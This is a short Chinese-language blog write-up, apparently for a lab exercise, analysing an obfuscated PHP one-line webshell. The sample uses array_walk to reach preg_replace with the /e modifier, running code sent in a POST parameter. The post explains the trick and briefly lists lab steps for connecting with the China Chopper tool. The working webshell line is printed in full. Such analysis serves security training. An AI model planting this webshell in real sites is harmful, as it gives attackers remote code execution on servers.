WebShell代碼分析溯源(九)
一、一句話變形馬樣本
<?php $e = $_REQUEST['e'];$arr = array($_POST['pass'] => '|.*|e',);array_walk($arr, $e, '');?>
二、代碼分析
1、調整代碼格式

2、分析代碼
1、首先使用REQUEST方法接收url中的e引數的值,創建arr陣列,然后array_walk對陣列$arr中的每個元素應用用戶自定義函式$e
注:,array_walk() 函式對陣列中的每個元素應用用戶自定義函式,在函式中,陣列的鍵名和鍵值是引數,
參考: https://www.w3school.com.cn/php/func_array_walk.asp
2、此時看到’|.*|e’,首先想到的是正則運算式,使用preg_replace()函式, preg_replace() 將 replacement 引數當作 PHP 代碼,正則意思為匹配模式出現/e修正符,后面的replacement就會被當作php代碼執行, 這樣就可以把 $_POST['pass']構造運行,此時一句話木馬就變成了<?php preg_replace(“|.*|e”, $_POST['pass'],’’);?>
三、漏洞環境搭建
1、這里使用在線學習平臺墨者學院中的實驗環境(WebShell代碼分析溯源(第8題)),地址: https://www.mozhe.cn/bug/detail/ckhySG9DdFJPMlcrRndCZGlUMzMvUT09bW96aGUmozhe
2、代碼環境,下載代碼

3、分析(上面已經分析過了)
4、使用菜刀連接

5、執行一些命令

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/125406.html
標籤:PHP
上一篇:fwrite(): send of 8192 bytes failed with errno=104 Connection reset by peer
